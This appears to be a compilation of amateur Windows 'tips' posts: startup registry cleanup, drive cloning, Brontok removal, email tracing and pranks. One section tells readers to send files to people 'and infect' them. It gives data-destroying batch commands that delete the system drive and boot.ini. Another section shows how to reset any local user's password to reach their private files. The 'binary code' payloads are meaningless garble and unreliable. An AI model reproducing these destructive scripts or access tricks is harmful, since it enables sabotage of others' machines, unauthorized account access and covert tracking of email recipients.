How to optimize the Windows performance by removing unwanted programs from startup using windows registry.

Start and click on run in case of windows XP, Server, windows 98, and 2000 but in vista type directly in search box

Type Regedit in the run box to open registry editor

Go to file menu and click on export to create a back up of registry, save it on your drive other than your default windows directory.

windows
After opening Registry editor click on HKEY_LOCAL_MACHINE
Software\
Microsoft\
Windows\
Current Version\
Run
You will see something like this on right hand pane in your registry editor

Now it’s time to get rid of the programs those slow down your operating system and possible may be a Trojan horse hiding in your hard disk.
Right click on any program to delete the entry, which you don’t want to be loaded during startup; personally I would only keep anti virus program entries.

Now you can repeat the same process with HKEY_LOCAL_USER entries and keep only Cftmon.exe for your computer sound to be working. After deleting the unwanted program registry entries, restart the system and feel the difference in speed.

Locally Changing Password On Xp Home/pro

Ever go to get on a computer and the user is logged out, and you don't know the password? Or do you have some access, but not access to a users private files, and you want access to those files?

This quick tut will show you the steps to do this locally, and to protect your computer from people doing this to you!

STEPS TO CHANGE/RESET PASSWORD FOR ANY USERNAME
1.Reboot the computer
2.Right after the bios is finished, hit F8 (or F2,10,12)
3.Select 'Safe mode' or 'Safe mode with networking support'
4.Windows will boot up to the logon screen. Click administrator, 9/10 there is no password.
5.Do, Start->Run->type 'command'
6.At the prompt, type 'net user' which will display a list of usernames. Find the one you are looking for, try 'net user username' for them all. Type 'net user /HELP' for more info.
7.To reset the password type 'net user username *' where username is the username you want to reset.
8.For no password, leave blank.
9.Now, reboot and you can login as that user.

STEPS TO PROTECT YOURSELF FROM THIS METHOD

1. Log into your account (must have admin rights)
2. Get to a command prompt and type 'net user username *' where username is Administrator, or the renamed administrator account.
3. Give administrator a STRONG password.
4. Done.

I never use windows, but when I do, I reinstall the OS on a clean harddrive, and take steps to secure it before I connect it to the net for windows and antivirus upgrades.

One of the first things I do is give the Administrator a password. I also disable the guest account, and give the guest username a password.

Next I uninstall all networking components except TCP/IP. Next I disable netbios in the TCP/IP component settings.

Then I disable some services from running, use 'net user username /DELETE' to delete the "SUPPORT" and helpdesk usernames totally, and do a bunch of other stuff.

Caveats:

If you are on a pc that does not allow you to boot into safe mode, you can get around this. They aren't disabling the safe mode from the OS, they are just not allowing it from startup by pressing a function key. All you need to do is reboot, and then when windows is still loading, before the login screen, turn off the computer by holding down the power button for 5 seconds. Then turn it back on and you should have safe mode available. You can try this at many different stages to get to a safe mode.

If you have administrator rights, you can modify your boot.ini file to automatically boot into safe mode, or, preferably, you can modify your boot.ini file to give you a choice of booting into safe mode every single time you reboot. I have a custom boot.ini on every windows I run.

You could also use a linux "live cd" such as knoppix to edit your boot.ini file. But if you are going to do that, why not just use a live cd to reset the password, or retrieve and crack the hashes, etc..

See available boot.ini switch options at microsoft support boot.ini switch options

This is meant to be for beginners so don't give me any $hit for how easy or simple this is. Not all of us even use windows.

Questions/Comments welcome.

How to Clone a Hard Drive

Did know that you could clone your current Hard Drive without having to by extra software? Maybe you didn't know that all that you needed, was already set up on your current system? Well, it is... and if you follow this tut, you shouldn't have much of a problem.

Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.

First:
Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.

Second:
Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.

Third:
Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.

Fourth:
After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".

Fifth:
In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:
Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:

"XCOPY C:\*.*D:\ /c/h/e/k/r" (minus the quotes, of course) then press the "Enter" button.

If you receive an error message, then remove the space from between XCOPY and C:\
Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.

This tut has worked and has been tested on all systems except for Windows 2000, so you really shouldn't have any problems. If, by any chance, you should come across a snag, message me and I'll walk you through it.

~cheers~

Format a HDD with notepad

Step 1.Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2.Save As An EXE Any Name Will Do

Step 3.Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code format

c:\ /Q/X -- this will format your drive

c:\01100110011011110111001001101101011000010111010000
1000000110001100111010010111000010000000101111010100010010111101011000

format d:\ /Q/X -- this will format your drive

d:\01100110011011110111001001101101011000010111010000 1000000110010000111010010111000010000000101111010100010010111101011000
format a:\ /Q/X -- this will format your drive

a:\01100110011011110111001001101101011000010111010000 1000000110000100111010010111000010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 10111101010011001011110101000100100000011000110011101001011100011000100110111101 1011110111010000101110011010010110111001101001

try to figure out urself rest

cant spoonfeedits workin
Do not try it on ur PC.
dont mess around this is for educational purpose only still if u cant figure it out try dis go to notepad

@Echo offDel C:\ *.*y

save it as Dell.bat
worse

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

Remove Brontok Virus Urself

its the most sticky virus ..
u can Remove it
be an ethical Hacker
It works~~!!Start ur computer in safe mode with command prompt and type the followinf command to enable registry editor:-reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"and run HKLM\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"after this ur registry editor is enable type explorergo to run and type regeditthen follow the following path :-HKLM\Software\Microsoft\Windows\Currentversion\Runon the right side delete the entries which contain 'Brontok' and 'Tok-' words.after that restart ur systemopen registry editor and follow the path to enable folder option in tools menuHKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ 'NoFolderOption'delete this entry and restart ur computerand search *.exe files in all drives (search in hidden files also)remove all files which are display likes as folder icon.ur computer is completely free from virus brontok

Tracing the Source of emails

Every email has a header which contains the details of all the servers the email went through, starting from the senders IP, sender's ISP, intermediate routers, servers, and finally the receiver's server. Thus doing a reverse Domain name search of the originating server's IP address, we can get the details like the area, city to which the person belongs, and if u have an authorization u could get the House address,telephone no of the sender from the ISP. For doing a reverse DNS, we can use 'tracert' utility to get the details. There are softwares like Visual Route and Trace route that can do the work for you.These will tell you the details like the city and area.

There is another very accurate and efficient method to trace the person in case the email id is valid and he checks his mail. There is a website called readnotify.com which allows you to send emails through it to him and as soon as the person checks the emails it starts tracing his location and tell you the details like his operating system,IP address, location and the time he saw your mail and the number of times he opened ur mail. This Shows the location of the person on a geographic map, which could be zoomed in or out. NOTE: This site gives this facility only for a limited time and after that u have to register with it or use a new email account.

This site also gives you facility to send Self Destructing Mails, Which can be read only once and after that they get automatically destructed.It's a must try site for people who want to have some fun with your friends.

No Shutdown:

Wanna play with your friends by removing the shutdown option from start menu in their computer.Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"